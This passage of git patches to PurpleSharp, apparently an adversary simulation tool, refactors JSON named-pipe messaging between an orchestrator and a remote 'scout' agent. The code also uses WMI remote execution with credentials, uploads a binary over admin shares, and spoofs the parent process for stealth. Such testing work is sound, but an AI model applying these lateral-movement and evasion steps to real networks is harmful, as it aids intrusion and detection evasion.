Cleaning up..."); + //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); + RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); + // + //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + + return Json.GetPlaybookResult(results); + } + } public static void ExecuteTechnique(string technique, int variation, int nuser, int nhosts, int tsleep, string log, bool cleanup) { var rand = new Random(); From 3f80d1970528b3f534c3d7872c35bc4711876551 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Wed, 24 Mar 2021 23:59:27 -0400 Subject: [PATCH 02/20] refactoring RunScoutServiceSerialized --- PurpleSharp/Lib/Json.cs | 7 ++ PurpleSharp/Lib/NamedPipes.cs | 126 ++++++++++++++++++++++++++-------- PurpleSharp/Program.cs | 31 ++------- 3 files changed, 109 insertions(+), 55 deletions(-) diff --git a/PurpleSharp/Lib/Json.cs b/PurpleSharp/Lib/Json.cs index 4a37cf5..46acd58 100644 --- a/PurpleSharp/Lib/Json.cs +++ b/PurpleSharp/Lib/Json.cs @@ -169,6 +169,13 @@ public class SimulationResponse public string status; public ReconResponse recon_response; + + public SimulationResponse (string stat, ReconResponse recon_resp) + { + status = stat; + recon_response = recon_resp; + + } } class Json diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index 2aaf053..80de215 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -236,7 +236,7 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n while (running) { var reader = new StreamReader(pipeServer); - //var writer = new StreamWriter(pipeServer); + var writer = new StreamWriter(pipeServer); var writer2 = new BinaryWriter(pipeServer); logger.TimestampInfo("Waiting for client connection..."); @@ -248,21 +248,7 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n logger.TimestampInfo("Received from client: " + line); - SimulationRequest sim_request = JsonConvert.DeserializeObject(line); - - logger.TimestampInfo("Received Simulation Request object"); - logger.TimestampInfo("Simrpath "+ sim_request.simulator_rpath); - - logger.TimestampInfo("1"); - writer2.Write("SYN/ACK"); - writer2.Flush(); - pipeServer.Disconnect(); - logger.TimestampInfo("2"); - logger.TimestampInfo("3"); - pipeServer.Disconnect(); - logger.TimestampInfo("4"); - - /* + if (line.ToLower().Equals("syn")) { //logger.TimestampInfo("sending back to client: " + "SYN/ACK"); @@ -407,10 +393,12 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n //Launcher.SpoofParent(parentprocess.Id, simpath, simbin + " " + cmdline); //Launcher.SpoofParent(parentprocess.Id, simpfath, simrpath + " /s"); + if (!File.Exists(simpfath)) Thread.Sleep(5000); + Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); - System.Threading.Thread.Sleep(3000); + Thread.Sleep(3000); logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + technique + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); RunNoAuthClient(simulator_np, "technique:" + technique + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); System.Threading.Thread.Sleep(2000); @@ -424,7 +412,7 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n writer.Flush(); running = false; } - */ + pipeServer.Disconnect(); } } @@ -443,8 +431,8 @@ public static void RunScoutServiceSerialized2(string scout_np, string simulator_ bool running = true; bool privileged = false; - string technique, opsec, simpfath, simrpath, duser, user, simbinary, cleanup; - technique = opsec = simpfath = simrpath = duser = user = simbinary = cleanup = ""; + string technique, opsec, simpfath, duser, user, simbinary, cleanup; + technique = opsec = simpfath = duser = user = simbinary = cleanup = ""; Process parentprocess = null; int pbsleep, tsleep, variation; pbsleep = tsleep = 0; @@ -460,10 +448,82 @@ public static void RunScoutServiceSerialized2(string scout_np, string simulator_ logger.TimestampInfo("Client connected."); var messageBytes = ReadMessage(pipeServer); var line = Encoding.UTF8.GetString(messageBytes); + SimulationRequest sim_request = JsonConvert.DeserializeObject(line); + + logger.TimestampInfo(String.Format("Received: {0}", line)); + logger.TimestampInfo(String.Format("Simulation techniques received {0}", sim_request.techniques)); + + //var response = Encoding.UTF8.GetBytes("SYN/ACK"); + //pipeServer.Write(response, 0, response.Length); + + ReconResponse recon_response; + byte[] bytes_recon_response; + + + + //string payload = ""; + if (sim_request.recon_type.Equals("privileged")) privileged = true; + parentprocess = Recon.GetHostProcess(privileged); + if (parentprocess != null && Recon.GetExplorer() != null) + { + duser = Recon.GetProcessOwnerWmi(Recon.GetExplorer()); + recon_response = new ReconResponse(duser, parentprocess.ProcessName, parentprocess.Id.ToString(), privileged.ToString()); + user = duser.Split('\\')[1]; + logger.TimestampInfo(String.Format("Recon identified {0} logged in. Process to Spoof: {1} PID: {2}", duser, parentprocess.ProcessName, parentprocess.Id)); + //payload = String.Format("{0},{1},{2},{3}", duser, parentprocess.ProcessName, parentprocess.Id, privileged.ToString()); + + } + else + { + //payload = ",,,"; + recon_response = new ReconResponse("", "", "", ""); + logger.TimestampInfo("Recon did not identify any logged users"); + } + + SimulationResponse sim_response = new SimulationResponse("SYN/ACK", recon_response); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo(String.Format("Sent SimulationResponse object")); + + + + + if (sim_request.opsec.Equals("ppid")) + { + + simpfath = "C:\\Users\\" + user + "\\" + sim_request.simulator_rpath; + int index = sim_request.simulator_rpath.LastIndexOf(@"\"); + simbinary = sim_request.simulator_rpath.Substring(index + 1); + + logger.TimestampInfo("Using Parent Process Spoofing technique for Opsec"); + logger.TimestampInfo("Spoofing " + parentprocess.ProcessName + " PID: " + parentprocess.Id.ToString()); + logger.TimestampInfo("Executing: " + simpfath + " /n"); + //Launcher.SpoofParent(parentprocess.Id, simpath, simbin + " " + cmdline); + //Launcher.SpoofParent(parentprocess.Id, simpfath, simrpath + " /s"); + + Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); + //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); + + System.Threading.Thread.Sleep(3000); + logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + sim_request.techniques + " pbsleep:" + sim_request.playbook_sleep + " tsleep:" + sim_request.task_sleep + " cleanup:" + sim_request.cleanup); + RunNoAuthClient(simulator_np, "technique:" + technique + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); + System.Threading.Thread.Sleep(2000); + } + + + + + + + + + //bytes_recon_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(recon_response)); + //writer2.Write(bytes_recon_response); + //writer.WriteLine(str_recon_response); + //writer.WriteLine(payload); + //writer2.Flush(); - var response = Encoding.UTF8.GetBytes("SYN/ACK"); - pipeServer.Write(response, 0, response.Length); } } @@ -576,17 +636,23 @@ public static string RunClientSerialized(string rhost, string domain, string rus var writer2 = new BinaryWriter(pipeClient); writer2.Write(serialized_object); - Console.WriteLine("data has been sent"); - writer2.Flush(); + //Console.WriteLine("data has been sent"); + //writer2.Flush(); //writer.WriteLine(request); //writer.Flush(); - Console.WriteLine("waiting for response"); - var result = reader.ReadLine(); - Console.WriteLine("Got data back"); - Console.WriteLine(result); - - return (result.ToString()); + //Console.WriteLine("waiting for response"); + var restul1 = reader.ReadLine(); + //Console.WriteLine("Got data back"); + //Console.WriteLine(restul1); + + /* + Console.WriteLine("waiting for response again"); + var restul2 = reader.ReadLine(); + Console.WriteLine("Got more data back"); + Console.WriteLine(restul2); + */ + return (restul1.ToString()); } diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index e75f5b1..89a720a 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -762,11 +762,11 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain //result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); - NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); - Console.WriteLine("sent!"); - return; + result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); - if (result.Equals("SYN/ACK")) + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); + + if (sim_response.status.Equals("SYN/ACK")) { Console.WriteLine("[+] OK"); @@ -774,9 +774,7 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain if (privileged_techniques.Contains(techniques.ToUpper())) result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:privileged"); else result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:regular"); */ - - ReconResponse recon_response = JsonConvert.DeserializeObject(result); - string duser = recon_response.user; + string duser = sim_response.recon_response.user; if (duser == "") @@ -792,23 +790,6 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain else { string user = duser.Split('\\')[1]; - - /* - //Console.WriteLine("[+] Sending simulator binary..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "simrpath:" + simrpath); - //Console.WriteLine("[+] Sending technique ..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "technique:" + techniques); - //Console.WriteLine("[+] Sending variation..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "variation:" + variation.ToString()); - //Console.WriteLine("[+] Sending opsec techqniue..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "opsec:" + "ppid"); - //Console.WriteLine("[+] Sending sleep..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "pbsleep:" + pbsleep.ToString()); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "tsleep:" + tsleep.ToString()); - if (cleanup) NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:True"); - else NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:False"); - */ - Console.WriteLine("[!] Recon -> " + String.Format("Identified logged user: {0}", duser)); string simfpath = "C:\\Users\\" + user + "\\" + simrpath; int index2 = simrpath.LastIndexOf(@"\"); @@ -819,7 +800,7 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain Console.WriteLine("[+] Uploading Simulator to " + @"\\" + rhost + @"\" + simfpath.Replace(":", "$")); RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", recon_response.process, recon_response.process_id, recon_response.process_integrity); + Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "act"); NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); From 737ebdd55df5006c3eefbf7fa2b10d3796dd76b2 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Thu, 25 Mar 2021 22:48:31 -0400 Subject: [PATCH 03/20] serialized namedpipes communication between orchestrator and scout. --- PurpleSharp/Lib/Json.cs | 23 ++- PurpleSharp/Lib/NamedPipes.cs | 295 +++++----------------------------- PurpleSharp/Program.cs | 71 +++----- 3 files changed, 88 insertions(+), 301 deletions(-) diff --git a/PurpleSharp/Lib/Json.cs b/PurpleSharp/Lib/Json.cs index 46acd58..debb4ff 100644 --- a/PurpleSharp/Lib/Json.cs +++ b/PurpleSharp/Lib/Json.cs @@ -134,6 +134,19 @@ public ReconResponse(string u, string proc, string proc_id, string proc_int) } public class SimulationRequest + { + public string header; + + public SimulationRequestPayload sim_request_payload; + + public SimulationRequest(string type, SimulationRequestPayload sr = null) + { + header = type; + sim_request_payload = sr; + } + } + + public class SimulationRequestPayload { public string recon_type; @@ -151,7 +164,7 @@ public class SimulationRequest public string cleanup; - public SimulationRequest(string recon, string simrpath, string techs, string var, string ops, string pbsleep, string tsleep, string clnup) + public SimulationRequestPayload(string recon, string simrpath, string techs, string var, string ops, string pbsleep, string tsleep, string clnup) { recon_type = recon; simulator_rpath = simrpath; @@ -161,18 +174,18 @@ public SimulationRequest(string recon, string simrpath, string techs, string var playbook_sleep = pbsleep; task_sleep = tsleep; cleanup = clnup; - } + } public class SimulationResponse { - public string status; + public string header; public ReconResponse recon_response; - public SimulationResponse (string stat, ReconResponse recon_resp) + public SimulationResponse (string stat, ReconResponse recon_resp=null) { - status = stat; + header = stat; recon_response = recon_resp; } diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index 80de215..02b56be 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -213,6 +213,7 @@ public static void RunScoutService(string scout_np, string simulator_np, string } } + public static void RunScoutServiceSerialized(string scout_np, string simulator_np, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; @@ -220,79 +221,39 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n bool running = true; bool privileged = false; - string technique, opsec, simpfath, simrpath, duser, user, simbinary, cleanup; - technique = opsec = simpfath = simrpath = duser = user = simbinary = cleanup = ""; + string technique, opsec, simpfath, duser, user, simbinary, cleanup; + technique = opsec = simpfath = duser = user = simbinary = cleanup = ""; Process parentprocess = null; int pbsleep, tsleep, variation; pbsleep = tsleep = 0; variation = 1; - System.Threading.Thread.Sleep(1500); + SimulationRequestPayload s_payload = null; + Thread.Sleep(1500); try { using (var pipeServer = new NamedPipeServerStream(scout_np, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message)) { + logger.TimestampInfo("Starting scout namedpipe service with PID:" + Process.GetCurrentProcess().Id); while (running) { - var reader = new StreamReader(pipeServer); - var writer = new StreamWriter(pipeServer); - var writer2 = new BinaryWriter(pipeServer); - + SimulationResponse sim_response; logger.TimestampInfo("Waiting for client connection..."); pipeServer.WaitForConnection(); - logger.TimestampInfo("Client connected!"); - - var line = reader.ReadLine(); - logger.TimestampInfo("Got some data back"); - + logger.TimestampInfo("Client connected."); + var messageBytes = ReadMessage(pipeServer); + var line = Encoding.UTF8.GetString(messageBytes); logger.TimestampInfo("Received from client: " + line); + SimulationRequest sim_request = JsonConvert.DeserializeObject(line); - - if (line.ToLower().Equals("syn")) - { - //logger.TimestampInfo("sending back to client: " + "SYN/ACK"); - writer.WriteLine("SYN/ACK"); - writer.Flush(); - } - else if (line.ToLower().Equals("auditpol")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetAuditPolicy()))); - writer.Flush(); - } - else if (line.ToLower().Equals("wef")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetWefSettings()))); - writer.Flush(); - } - else if (line.ToLower().Equals("pws")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetPwsLoggingSettings()))); - writer.Flush(); - } - else if (line.ToLower().Equals("ps")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetProcs()))); - writer.Flush(); - } - else if (line.ToLower().Equals("svcs")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetServices()))); - writer.Flush(); - } - else if (line.ToLower().Equals("cmdline")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetCmdlineAudittingSettings()))); - writer.Flush(); - } - - else if (line.ToLower().StartsWith("recon:")) + if (sim_request.header.Equals("SYN")) { + logger.TimestampInfo("Received SYN"); + s_payload = sim_request.sim_request_payload; ReconResponse recon_response; byte[] bytes_recon_response; - - //string payload = ""; - if (line.Replace("recon:", "").Equals("privileged")) privileged = true; + if (sim_request.sim_request_payload.recon_type.Equals("privileged")) privileged = true; parentprocess = Recon.GetHostProcess(privileged); if (parentprocess != null && Recon.GetExplorer() != null) { @@ -300,231 +261,63 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n recon_response = new ReconResponse(duser, parentprocess.ProcessName, parentprocess.Id.ToString(), privileged.ToString()); user = duser.Split('\\')[1]; logger.TimestampInfo(String.Format("Recon identified {0} logged in. Process to Spoof: {1} PID: {2}", duser, parentprocess.ProcessName, parentprocess.Id)); - //payload = String.Format("{0},{1},{2},{3}", duser, parentprocess.ProcessName, parentprocess.Id, privileged.ToString()); - } else { - //payload = ",,,"; recon_response = new ReconResponse("", "", "", ""); logger.TimestampInfo("Recon did not identify any logged users"); } - bytes_recon_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(recon_response)); - writer2.Write(bytes_recon_response); - //writer.WriteLine(str_recon_response); - //writer.WriteLine(payload); - writer2.Flush(); - } - else if (line.ToLower().StartsWith("sc:")) - { - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("technique:")) - { - technique = line.Replace("technique:", ""); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("variation:")) - { - variation = Int32.Parse(line.Replace("variation:", "")); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("pbsleep:")) - { - pbsleep = Int32.Parse(line.Replace("pbsleep:", "")); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("tsleep:")) - { - tsleep = Int32.Parse(line.Replace("tsleep:", "")); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("opsec:")) - { - opsec = line.Replace("opsec:", ""); - //logger.TimestampInfo("Got opsec technique from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("cleanup:")) - { - cleanup = line.Replace("cleanup:", ""); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("simrpath:")) - { - simrpath = line.Replace("simrpath:", ""); - //logger.TimestampInfo("sending back to client: " + "ACK"); - //simpath = "C:\\Users\\" + loggeduser + "\\Downloads\\" + simbin; - simpfath = "C:\\Users\\" + user + "\\" + simrpath; - int index = simrpath.LastIndexOf(@"\"); - simbinary = simrpath.Substring(index + 1); - writer.WriteLine("ACK"); - writer.Flush(); + simpfath = "C:\\Users\\" + user + "\\" + sim_request.sim_request_payload.simulator_rpath; + int index = sim_request.sim_request_payload.simulator_rpath.LastIndexOf(@"\"); + simbinary = sim_request.sim_request_payload.simulator_rpath.Substring(index + 1); + + sim_response = new SimulationResponse("SYN/ACK", recon_response); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo(String.Format("Sent SimulationResponse object")); + } - else if (line.Equals("act")) + else if (sim_request.header.Equals("ACT")) { - logger.TimestampInfo("Received act!"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - if (opsec.Equals("ppid")) + logger.TimestampInfo("Received ACT"); + if (s_payload.opsec.Equals("ppid")) { + logger.TimestampInfo("Using Parent Process Spoofing technique for Opsec"); logger.TimestampInfo("Spoofing " + parentprocess.ProcessName + " PID: " + parentprocess.Id.ToString()); logger.TimestampInfo("Executing: " + simpfath + " /n"); //Launcher.SpoofParent(parentprocess.Id, simpath, simbin + " " + cmdline); //Launcher.SpoofParent(parentprocess.Id, simpfath, simrpath + " /s"); - if (!File.Exists(simpfath)) Thread.Sleep(5000); - Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); - Thread.Sleep(3000); - logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + technique + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); - RunNoAuthClient(simulator_np, "technique:" + technique + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); + System.Threading.Thread.Sleep(3000); + logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + s_payload.techniques + " pbsleep:" + s_payload.playbook_sleep + " tsleep:" + s_payload.task_sleep + " cleanup:" + s_payload.cleanup); + RunNoAuthClient(simulator_np, "technique:" + s_payload.techniques + " variation:" + s_payload.variation.ToString() + " pbsleep:" + s_payload.playbook_sleep.ToString() + " tsleep:" + s_payload.task_sleep.ToString() + " cleanup:" + s_payload.cleanup); System.Threading.Thread.Sleep(2000); } + + sim_response = new SimulationResponse("ACK"); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo(String.Format("Sent SimulationResponse object 2")); + running = false; + } - else if (line.ToLower().Equals("quit")) + else if (sim_request.header.Equals("FIN")) { - logger.TimestampInfo("Received quit! Exitting namedpipe"); - //logger.TimestampInfo("sending back to client: " + "quit"); - writer.WriteLine("quit"); - writer.Flush(); + logger.TimestampInfo("Received a FIN command"); + sim_response = new SimulationResponse("ACK"); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); running = false; } - - pipeServer.Disconnect(); - } - } - } - catch (Exception ex) - { - logger.TimestampInfo(ex.ToString()); - logger.TimestampInfo(ex.Message.ToString()); - } - } - public static void RunScoutServiceSerialized2(string scout_np, string simulator_np, string log) - { - string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Logger logger = new Logger(currentPath + log); - bool running = true; - bool privileged = false; - - string technique, opsec, simpfath, duser, user, simbinary, cleanup; - technique = opsec = simpfath = duser = user = simbinary = cleanup = ""; - Process parentprocess = null; - int pbsleep, tsleep, variation; - pbsleep = tsleep = 0; - variation = 1; - System.Threading.Thread.Sleep(1500); - - try - { - using (var pipeServer = new NamedPipeServerStream(scout_np, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message)) - { - logger.TimestampInfo("Waiting for client connection..."); - pipeServer.WaitForConnection(); - logger.TimestampInfo("Client connected."); - var messageBytes = ReadMessage(pipeServer); - var line = Encoding.UTF8.GetString(messageBytes); - SimulationRequest sim_request = JsonConvert.DeserializeObject(line); - - - logger.TimestampInfo(String.Format("Received: {0}", line)); - logger.TimestampInfo(String.Format("Simulation techniques received {0}", sim_request.techniques)); - - //var response = Encoding.UTF8.GetBytes("SYN/ACK"); - //pipeServer.Write(response, 0, response.Length); - - ReconResponse recon_response; - byte[] bytes_recon_response; - - - - //string payload = ""; - if (sim_request.recon_type.Equals("privileged")) privileged = true; - parentprocess = Recon.GetHostProcess(privileged); - if (parentprocess != null && Recon.GetExplorer() != null) - { - duser = Recon.GetProcessOwnerWmi(Recon.GetExplorer()); - recon_response = new ReconResponse(duser, parentprocess.ProcessName, parentprocess.Id.ToString(), privileged.ToString()); - user = duser.Split('\\')[1]; - logger.TimestampInfo(String.Format("Recon identified {0} logged in. Process to Spoof: {1} PID: {2}", duser, parentprocess.ProcessName, parentprocess.Id)); - //payload = String.Format("{0},{1},{2},{3}", duser, parentprocess.ProcessName, parentprocess.Id, privileged.ToString()); - - } - else - { - //payload = ",,,"; - recon_response = new ReconResponse("", "", "", ""); - logger.TimestampInfo("Recon did not identify any logged users"); - } - - SimulationResponse sim_response = new SimulationResponse("SYN/ACK", recon_response); - byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); - pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); - logger.TimestampInfo(String.Format("Sent SimulationResponse object")); - - - - - if (sim_request.opsec.Equals("ppid")) - { - - simpfath = "C:\\Users\\" + user + "\\" + sim_request.simulator_rpath; - int index = sim_request.simulator_rpath.LastIndexOf(@"\"); - simbinary = sim_request.simulator_rpath.Substring(index + 1); - - logger.TimestampInfo("Using Parent Process Spoofing technique for Opsec"); - logger.TimestampInfo("Spoofing " + parentprocess.ProcessName + " PID: " + parentprocess.Id.ToString()); - logger.TimestampInfo("Executing: " + simpfath + " /n"); - //Launcher.SpoofParent(parentprocess.Id, simpath, simbin + " " + cmdline); - //Launcher.SpoofParent(parentprocess.Id, simpfath, simrpath + " /s"); - - Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); - //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); - - System.Threading.Thread.Sleep(3000); - logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + sim_request.techniques + " pbsleep:" + sim_request.playbook_sleep + " tsleep:" + sim_request.task_sleep + " cleanup:" + sim_request.cleanup); - RunNoAuthClient(simulator_np, "technique:" + technique + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); - System.Threading.Thread.Sleep(2000); + pipeServer.Disconnect(); } - - - - - - - - - //bytes_recon_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(recon_response)); - //writer2.Write(bytes_recon_response); - //writer.WriteLine(str_recon_response); - //writer.WriteLine(payload); - //writer2.Flush(); - - } } catch (Exception ex) diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 89a720a..8812529 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -7,7 +7,7 @@ using System.Threading; using PurpleSharp.Lib; using Newtonsoft.Json; - +using System.Threading.Tasks; namespace PurpleSharp { @@ -179,7 +179,7 @@ public static void Main(string[] args) if (scoutservice) { //NamedPipes.RunScoutService(scout_np, simulator_np, log); - NamedPipes.RunScoutServiceSerialized2(scout_np, simulator_np, log); + NamedPipes.RunScoutServiceSerialized(scout_np, simulator_np, log); return; } if (simservice) @@ -399,10 +399,8 @@ public static void Main(string[] args) Console.WriteLine("[!] Could not parse JSON input."); Console.WriteLine("[*] Exiting"); return; - } - + } } - //Remote simulations with command line parameters if (remote) @@ -757,30 +755,23 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); Console.WriteLine("[+] Connecting to the Scout ..."); - SimulationRequest sim_request = new SimulationRequest("regular", simrpath, techniques, variation.ToString(), "ppid", pbsleep.ToString(), tsleep.ToString(), cleanup.ToString()); - - //result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); - + SimulationRequestPayload sim_req_payload = new SimulationRequestPayload("regular", simrpath, techniques, variation.ToString(), "ppid", pbsleep.ToString(), tsleep.ToString(), cleanup.ToString()); + if (privileged_techniques.Contains(techniques.ToUpper())) sim_req_payload.recon_type = "privileged"; + SimulationRequest sim_request = new SimulationRequest("SYN", sim_req_payload); byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); SimulationResponse sim_response = JsonConvert.DeserializeObject(result); - if (sim_response.status.Equals("SYN/ACK")) + if (sim_response.header.Equals("SYN/ACK")) { Console.WriteLine("[+] OK"); - - /* - if (privileged_techniques.Contains(techniques.ToUpper())) result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:privileged"); - else result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:regular"); - */ string duser = sim_response.recon_response.user; - - if (duser == "") { Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + sim_request = new SimulationRequest("FIN"); + result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); Thread.Sleep(1000); RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); @@ -801,8 +792,8 @@ public static void ExecuteRemoteTechniquesSerialized(string rhost, string domain RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "act"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + sim_request = new SimulationRequest("ACT"); + result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, 